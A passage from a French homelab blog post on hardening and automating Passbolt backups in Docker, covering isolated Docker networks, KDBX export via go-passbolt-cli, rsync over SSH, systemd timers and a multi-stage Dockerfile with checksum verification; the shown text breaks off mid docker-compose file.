<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="mon-environnement">Mon environnement<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#mon-environnement" class="hash-link" aria-label="Lien direct vers Mon environnement" title="Lien direct vers Mon environnement" translate="no">​</a></h3>
<p>Avant de rentrer dans le dur, posons le décor. Mon homelab tourne autour de :</p>
<ul>
<li class=""><strong>Un serveur Docker</strong> (<code>docker01.homelab.local</code>, <code>10.1.2.10</code>) sous Debian 12, qui héberge la majorité de mes services.</li>
<li class=""><strong>Un Nextcloud</strong> (<code>10.1.2.67</code>) qui me sert de stockage centralisé pour mes fichiers et, désormais, mes backups Passbolt.</li>
<li class=""><strong>Un Nginx Proxy Manager</strong> (NPM) en frontal, qui termine le TLS et fait du reverse proxy vers tous mes services internes.</li>
<li class=""><strong>Un DNS interne</strong> qui résout <code>*.homelab.local</code> vers mes IPs privées.</li>
</ul>
<p>Tout le réseau est en <code>10.1.2.0/24</code> derrière un firewall, donc rien n'est exposé directement sur Internet.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ce-que-je-veux-obtenir">Ce que je veux obtenir<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#ce-que-je-veux-obtenir" class="hash-link" aria-label="Lien direct vers Ce que je veux obtenir" title="Lien direct vers Ce que je veux obtenir" translate="no">​</a></h3>
<table><thead><tr><th>Objectif</th><th>Solution retenue</th></tr></thead><tbody><tr><td>Sauvegarder la base Passbolt</td><td>Export quotidien en <strong>KeePass (KDBX)</strong> via <code>go-passbolt-cli</code></td></tr><tr><td>Transférer les sauvegardes</td><td><code>rsync</code> vers Nextcloud via SSH</td></tr><tr><td>Automatiser le processus</td><td><code>systemd-timer</code> + service one-shot</td></tr><tr><td>Sécuriser les accès</td><td>Clés SSH restreintes (<code>ForceCommand</code>), secrets en bind mount, permissions strictes</td></tr><tr><td>Gérer la rétention</td><td>Rotation automatique (30 backups) côté Nextcloud</td></tr><tr><td>Isoler Passbolt</td><td>Réseau Docker dédié <code>proxy-net</code>, pas d'exposition directe</td></tr></tbody></table>
<p>L'idée n'est pas juste « ça marche », mais « ça marche, et le jour où ça pète, je sais quoi faire et je n'ai rien perdu ».</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="architecture-globale">Architecture globale<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#architecture-globale" class="hash-link" aria-label="Lien direct vers Architecture globale" title="Lien direct vers Architecture globale" translate="no">​</a></h2>
<p>Voici la vue d'ensemble de la stack :</p>
<!-- -->
<p>Trois grandes briques :</p>
<ol>
<li class=""><strong>Passbolt en Docker</strong>, derrière NPM, sur un réseau Docker isolé.</li>
<li class=""><strong>Un conteneur de sauvegarde dédié</strong>, éphémère (one-shot), qui parle à Passbolt en interne et exporte vers Nextcloud.</li>
<li class=""><strong>systemd</strong> comme orchestrateur, parce que cron c'est bien en 1998 mais on est en 2026.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-choix-techniques-expliqués">Les choix techniques expliqués<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#les-choix-techniques-expliqu%C3%A9s" class="hash-link" aria-label="Lien direct vers Les choix techniques expliqués" title="Lien direct vers Les choix techniques expliqués" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-docker-">Pourquoi Docker ?<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#pourquoi-docker-" class="hash-link" aria-label="Lien direct vers Pourquoi Docker ?" title="Lien direct vers Pourquoi Docker ?" translate="no">​</a></h3>
<p>Passbolt fournit officiellement une image Docker. C'est isolé du reste du système, facile à upgrader (<code>docker compose pull &amp;&amp; docker compose up -d</code>), et ça me permet de reproduire l'env à l'identique si je dois changer de serveur. La base MariaDB est dans son propre container, lié uniquement à Passbolt.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-un-réseau-docker-dédié-proxy-net-">Pourquoi un réseau Docker dédié (<code>proxy-net</code>) ?<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#pourquoi-un-r%C3%A9seau-docker-d%C3%A9di%C3%A9-proxy-net-" class="hash-link" aria-label="Lien direct vers pourquoi-un-réseau-docker-dédié-proxy-net-" title="Lien direct vers pourquoi-un-réseau-docker-dédié-proxy-net-" translate="no">​</a></h3>
<p>C'est un point que je veux détailler parce qu'il est central pour la sécurité.</p>
<p>Par défaut, Docker crée un réseau <code>bridge</code> partagé par tous les containers qui ne précisent rien. C'est pratique pour démarrer, mais ça veut dire que <strong>tous tes containers se voient les uns les autres</strong>. Si demain un container compromis se met à scanner le réseau, il accède directement à Passbolt.</p>
<p>L'approche que j'utilise :</p>
<!-- -->
<p>Concrètement :</p>
<ul>
<li class=""><strong><code>proxy-net</code></strong> : un réseau Docker dédié que partagent NPM et tous les services qu'il reverse-proxy. Seul NPM publie des ports sur l'hôte (80, 443, 81). Passbolt <strong>n'expose aucun port</strong>.</li>
<li class=""><strong><code>passbolt-internal</code></strong> : un second réseau, uniquement entre Passbolt et sa base MariaDB. La DB n'est ainsi joignable que par Passbolt, point.</li>
</ul>
<p>Le résultat : pour atteindre Passbolt depuis l'extérieur, on passe forcément par NPM. Et pour atteindre la base, on passe forcément par Passbolt. C'est le principe de <strong>défense en profondeur</strong> appliqué au réseau.</p>
<p>Création du réseau côté NPM :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">docker</span><span class="token plain"> network create proxy-net</span><br></div></code></pre></div></div>
<p>Et dans le <code>docker-compose.yml</code> de Passbolt :</p>
<div class="language-yaml codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-yaml codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token key atrule" style="color:#00a4db">services</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token key atrule" style="color:#00a4db">passbolt</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic"># ... image, env, etc.</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">networks</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> proxy</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">net</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> passbolt</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">internal</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic"># PAS de ports: ici !</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token key atrule" style="color:#00a4db">db</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">image</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> mariadb</span><span class="token punctuation" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">11</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">networks</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> passbolt</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">internal</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic"># PAS non plus de ports: ici</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key atrule" style="color:#00a4db">networks</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token key atrule" style="color:#00a4db">proxy-net</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">external</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token boolean important" style="color:#36acaa">true</span><span class="token plain">   </span><span class="token comment" style="color:#999988;font-style:italic"># créé en dehors du compose, partagé avec NPM</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token key atrule" style="color:#00a4db">passbolt-internal</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">driver</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> bridge</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">internal</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token boolean important" style="color:#36acaa">true</span><span class="token plain">   </span><span class="token comment" style="color:#999988;font-style:italic"># 👈 ce réseau n'a pas accès à Internet</span><br></div></code></pre></div></div>
<p>Le <code>internal: true</code> sur <code>passbolt-internal</code> : MariaDB n'a même pas accès à Internet. Si elle est compromise, elle ne peut pas exfiltrer de données sortantes.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-go-passbolt-cli-et-le-format-kdbx-">Pourquoi <code>go-passbolt-cli</code> et le format KDBX ?<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#pourquoi-go-passbolt-cli-et-le-format-kdbx-" class="hash-link" aria-label="Lien direct vers pourquoi-go-passbolt-cli-et-le-format-kdbx-" title="Lien direct vers pourquoi-go-passbolt-cli-et-le-format-kdbx-" translate="no">​</a></h3>
<p>Pour l'export, j'avais plusieurs options : sauvegarder le volume MariaDB brut, utiliser <code>mysqldump</code>, ou exporter via l'API Passbolt. J'ai choisi la troisième pour plusieurs raisons :</p>
<ol>
<li class=""><strong>Lisibilité hors-Passbolt</strong> : un dump MariaDB ne sert à rien si Passbolt est mort. Les mots de passe y sont chiffrés avec les clés PGP des utilisateurs. Sans Passbolt et ses clés serveur, c'est illisible.</li>
<li class=""><strong>Le KDBX est un format ouvert et standard</strong> : KeePass, KeePassXC, KeePassDX (Android)... n'importe quel outil sait l'ouvrir.</li>
<li class=""><strong><code>go-passbolt-cli</code></strong> est l'outil officiel maintenu par Passbolt SA. Il s'authentifie via la clé PGP d'un compte de service, télécharge <strong>toutes les ressources accessibles à ce compte</strong>, les déchiffre localement, et écrit un KDBX.</li>
</ol>
<p>Le KDBX produit est protégé par un mot de passe <strong>différent</strong> de celui de Passbolt — j'y reviens dans la section sécurité, c'est important.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-rsync-over-ssh-">Pourquoi <code>rsync</code> over SSH ?<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#pourquoi-rsync-over-ssh-" class="hash-link" aria-label="Lien direct vers pourquoi-rsync-over-ssh-" title="Lien direct vers pourquoi-rsync-over-ssh-" translate="no">​</a></h3>
<p>J'ai hésité avec WebDAV (Nextcloud le supporte nativement), mais :</p>
<ul>
<li class=""><strong>rsync</strong> est incrémental, gère bien les coupures réseau, et est trivial à scripter.</li>
<li class=""><strong>SSH</strong> me donne un contrôle fin sur ce que la clé peut faire (<code>ForceCommand</code>, <code>rrsync</code>, etc. — voir la section sécurité).</li>
<li class="">Pas besoin de gérer un token applicatif Nextcloud qui peut être révoqué silencieusement.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-systemd-timer-plutôt-que-cron-">Pourquoi <code>systemd-timer</code> plutôt que cron ?<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#pourquoi-systemd-timer-plut%C3%B4t-que-cron-" class="hash-link" aria-label="Lien direct vers pourquoi-systemd-timer-plutôt-que-cron-" title="Lien direct vers pourquoi-systemd-timer-plutôt-que-cron-" translate="no">​</a></h3>
<p>Après avoir fait l'expérience de plusieurs panne pénible à corriger, j'avoue avoir un avis particulièrement tranché sur la question :</p>
<table><thead><tr><th>Critère</th><th><code>systemd-timer</code></th><th><code>cron</code></th></tr></thead><tbody><tr><td>Logs</td><td>Natifs via <code>journald</code> (<code>journalctl -u ...</code>)</td><td>Fichier séparé, mal corrélé</td></tr><tr><td>Échec</td><td><code>OnFailure=</code>, <code>Restart=</code>, hooks natifs</td><td>Tu te démerdes</td></tr><tr><td>Dépendances</td><td><code>After=docker.service</code></td><td>Pas de gestion</td></tr><tr><td>Reboot manqué</td><td><code>Persistent=true</code> rejoue au boot</td><td><code>anacron</code> ou rien</td></tr><tr><td>Validation syntaxe</td><td><code>systemd-analyze calendar "..."</code></td><td>Aucune</td></tr><tr><td>Lecture des logs d'un run précis</td><td>Trivial</td><td>Pénible</td></tr></tbody></table>
<p>Un job critique mérite un orchestrateur qui sait dire « j'ai échoué » plutôt qu'un fichier <code>MAILTO=</code> qu'on ne lit jamais.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-nextcloud-comme-destination-">Pourquoi Nextcloud comme destination ?<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#pourquoi-nextcloud-comme-destination-" class="hash-link" aria-label="Lien direct vers Pourquoi Nextcloud comme destination ?" title="Lien direct vers Pourquoi Nextcloud comme destination ?" translate="no">​</a></h3>
<p>Parce que j'en ai déjà un qui tourne, qu'il est sauvegardé séparément (snapshots ZFS + offsite), et que ça me donne une interface web pour récupérer un backup en cas d'urgence — y compris depuis mon téléphone si jamais le homelab est inaccessible.</p>
<p>Vu que de manière générale Nextcloud synchronise les fichiers en local, cela permet vraiment de garder son coffre de mot de passe en local en cas de panne majeure. C'est à la fois l'avantage de passbolt et son meilleur défaut : il vit sur un serveur sur le réseau. Si un problème arrive entre nous et le serveur, plus de mot de passe...</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="mise-en-place-du-conteneur-de-sauvegarde">Mise en place du conteneur de sauvegarde<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#mise-en-place-du-conteneur-de-sauvegarde" class="hash-link" aria-label="Lien direct vers Mise en place du conteneur de sauvegarde" title="Lien direct vers Mise en place du conteneur de sauvegarde" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="arborescence">Arborescence<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#arborescence" class="hash-link" aria-label="Lien direct vers Arborescence" title="Lien direct vers Arborescence" translate="no">​</a></h3>
<p>Tout vit dans <code>/opt/docker/passbolt-backup/</code> :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">/opt/docker/passbolt-backup/</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">├── build/</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│   ├── Dockerfile          # construction de l'image</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│   └── run.sh              # script d'orchestration (bind-monté)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">├── docker-compose.yml      # définition du service one-shot</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">├── secrets/                # mode 700, root:root</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│   ├── gpg_passphrase</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│   ├── kdbx_password</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│   ├── passbolt_privkey.asc</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│   ├── ssh_id_ed25519</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│   └── ssh_id_ed25519.pub</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">└── output/                 # dossier temporaire pour le KDBX (vidé à chaque run)</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-dockerfile">Le Dockerfile<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#le-dockerfile" class="hash-link" aria-label="Lien direct vers Le Dockerfile" title="Lien direct vers Le Dockerfile" translate="no">​</a></h3>
<div class="language-docker codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-docker codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># syntax=docker/dockerfile:1</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">#</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Image pour l'export quotidien de la base Passbolt en KDBX,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># transfert vers Nextcloud via rsync, et déclenchement du scan.</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Basé sur Debian bookworm-slim pour compatibilité glibc (go-passbolt-cli)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># et openssh-client complet (ed25519).</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ---------- Stage 1 : téléchargement du binaire go-passbolt-cli ----------</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># On télécharge dans un stage de build pour ne PAS embarquer curl/wget</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># dans l'image finale (réduction de surface d'attaque).</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token instruction keyword" style="color:#00009f">FROM</span><span class="token instruction"> debian:bookworm-slim </span><span class="token instruction keyword" style="color:#00009f">AS</span><span class="token instruction"> fetcher</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token instruction keyword" style="color:#00009f">ARG</span><span class="token instruction"> PASSBOLT_CLI_VERSION=0.4.2</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token instruction keyword" style="color:#00009f">ARG</span><span class="token instruction"> PASSBOLT_CLI_SHA256=72a411491df67c27e2844448f09a01e85099b42f75338d65c677f6ae3366a7a5</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token instruction keyword" style="color:#00009f">ARG</span><span class="token instruction"> PASSBOLT_CLI_URL=https://github.com/passbolt/go-passbolt-cli/releases/download/v</span><span class="token instruction variable" style="color:#36acaa">${PASSBOLT_CLI_VERSION}</span><span class="token instruction">/go-passbolt-cli_</span><span class="token instruction variable" style="color:#36acaa">${PASSBOLT_CLI_VERSION}</span><span class="token instruction">_linux_amd64.tar.gz</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token instruction keyword" style="color:#00009f">RUN</span><span class="token instruction"> apt-get update </span><span class="token instruction operator" style="color:#393A34">\</span><span class="token instruction"></span><br></div><div class="token-line" style="color:#393A34"><span class="token instruction">    &amp;&amp; apt-get install -y --no-install-recommends ca-certificates curl </span><span class="token instruction operator" style="color:#393A34">\</span><span class="token instruction"></span><br></div><div class="token-line" style="color:#393A34"><span class="token instruction">    &amp;&amp; rm -rf /var/lib/apt/lists/*</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token instruction keyword" style="color:#00009f">WORKDIR</span><span class="token instruction"> /tmp</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token instruction keyword" style="color:#00009f">RUN</span><span class="token instruction"> curl -fsSLo cli.tar.gz </span><span class="token instruction string" style="color:#e3116c">"${PASSBOLT_CLI_URL}"</span><span class="token instruction"> </span><span class="token instruction operator" style="color:#393A34">\</span><span class="token instruction"></span><br></div><div class="token-line" style="color:#393A34"><span class="token instruction">    &amp;&amp; echo </span><span class="token instruction string" style="color:#e3116c">"${PASSBOLT_CLI_SHA256}  cli.tar.gz"</span><span class="token instruction"> | sha256sum -c - </span><span class="token instruction operator" style="color:#393A34">\</span><span class="token instruction"></span><br></div><div class="token-line" style="color:#393A34"><span class="token instruction">    &amp;&amp; tar -xzf cli.tar.gz </span><span class="token instruction operator" style="color:#393A34">\</span><span class="token instruction"></span><br></div><div class="token-line" style="color:#393A34"><span class="token instruction">    &amp;&amp; chmod +x go-passbolt-cli</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ---------- Stage 2 : image finale, minimaliste ----------</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token instruction keyword" style="color:#00009f">FROM</span><span class="token instruction"> debian:bookworm-slim</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token instruction keyword" style="color:#00009f">RUN</span><span class="token instruction"> apt-get update </span><span class="token instruction operator" style="color:#393A34">\</span><span class="token instruction"></span><br></div><div class="token-line" style="color:#393A34"><span class="token instruction">    &amp;&amp; apt-get install -y --no-install-recommends </span><span class="token instruction operator" style="color:#393A34">\</span><span class="token instruction"></span><br></div><div class="token-line" style="color:#393A34"><span class="token instruction">        ca-certificates </span><span class="token instruction operator" style="color:#393A34">\</span><span class="token instruction"></span><br></div><div class="token-line" style="color:#393A34"><span class="token instruction">        rsync </span><span class="token instruction operator" style="color:#393A34">\</span><span class="token instruction"></span><br></div><div class="token-line" style="color:#393A34"><span class="token instruction">        openssh-client </span><span class="token instruction operator" style="color:#393A34">\</span><span class="token instruction"></span><br></div><div class="token-line" style="color:#393A34"><span class="token instruction">        tini </span><span class="token instruction operator" style="color:#393A34">\</span><span class="token instruction"></span><br></div><div class="token-line" style="color:#393A34"><span class="token instruction">    &amp;&amp; rm -rf /var/lib/apt/lists/*</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Récupère uniquement le binaire depuis le stage 1</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token instruction keyword" style="color:#00009f">COPY</span><span class="token instruction"> </span><span class="token instruction options property" style="color:#36acaa">--from</span><span class="token instruction options punctuation" style="color:#393A34">=</span><span class="token instruction options string" style="color:#e3116c">fetcher</span><span class="token instruction"> /tmp/go-passbolt-cli /usr/local/bin/go-passbolt-cli</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># tini comme PID 1 → propage proprement les signaux et reap les zombies.</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Indispensable pour un conteneur one-shot.</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token instruction keyword" style="color:#00009f">ENTRYPOINT</span><span class="token instruction"> [</span><span class="token instruction string" style="color:#e3116c">"/usr/sbin/tini"</span><span class="token instruction">, </span><span class="token instruction string" style="color:#e3116c">"--"</span><span class="token instruction">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Pas de CMD : il sera fourni par le docker-compose run</span><br></div></code></pre></div></div>
<p>Petite explication :</p>
<p><strong>Multi-stage build.</strong> Le binaire <code>go-passbolt-cli</code> n'est pas dans les dépôts Debian, donc il faut le télécharger. Mais embarquer <code>curl</code> dans l'image finale, c'est ajouter une surface d'attaque pour rien : un attaquant qui obtient l'exec dans le container pourrait s'en servir pour faire des appels sortants. Avec le multi-stage, <code>curl</code> reste dans le stage 1 et seul le binaire arrive dans l'image finale.</p>
<p><strong>Vérification SHA256.</strong> Si demain GitHub se fait compromettre ou qu'un MITM intercepte le téléchargement, le build échoue. C'est gratuit, autant le faire. Le hash est figé en <code>ARG</code> : si je passe à la 0.4.3, je dois explicitement mettre à jour le hash, ce qui m'oblige à le vérifier.</p>
<p><strong>Debian bookworm-slim</strong> plutôt qu'Alpine. <code>go-passbolt-cli</code> est compilé en glibc, donc il refuse de tourner sur musl (Alpine). Et l'<code>openssh-client</code> de Debian est plus à jour côté ed25519 et ChaCha20-Poly1305.</p>
<p><strong><code>tini</code> comme PID 1.</strong> Quand tu lances un script bash en PID 1, il ne gère pas correctement les signaux (<code>SIGTERM</code> notamment) et ne « reap » pas les processus zombies. Pour un container one-shot, c'est mineur, mais <code>tini</code> coûte 200ko et règle le problème proprement. Sans lui, un <code>docker stop</code> peut timeouter pendant 10s avant que Docker n'envoie <code>SIGKILL</code>.</p>
<p><strong>Pas de <code>CMD</code>.</strong> Le script <code>run.sh</code> est monté en bind mount, donc je peux le modifier sans rebuild. Le <code>docker compose run</code> fournira la commande.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-docker-composeyml">Le docker-compose.yml<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#le-docker-composeyml" class="hash-link" aria-label="Lien direct vers Le docker-compose.yml" title="Lien direct vers Le docker-compose.yml" translate="no">​</a></h3>
<div class="language-yaml codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-yaml codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token key atrule" style="color:#00a4db">services</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token key atrule" style="color:#00a4db">backup</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">image</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> passbolt</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">backup</span><span class="token punctuation" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">0.1</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">build</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token key atrule" style="color:#00a4db">context</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> ./build</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token key atrule" style="color:#00a4db">dockerfile</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> Dockerfile</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">container_name</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> passbolt</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">backup</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">run</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">restart</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"no"</span><span class="token plain">   </span><span class="token comment" style="color:#999988;font-style:italic"># one-shot, jamais de redémarrage auto</span><span class="token plain"></span><br></div><div class="token-line" 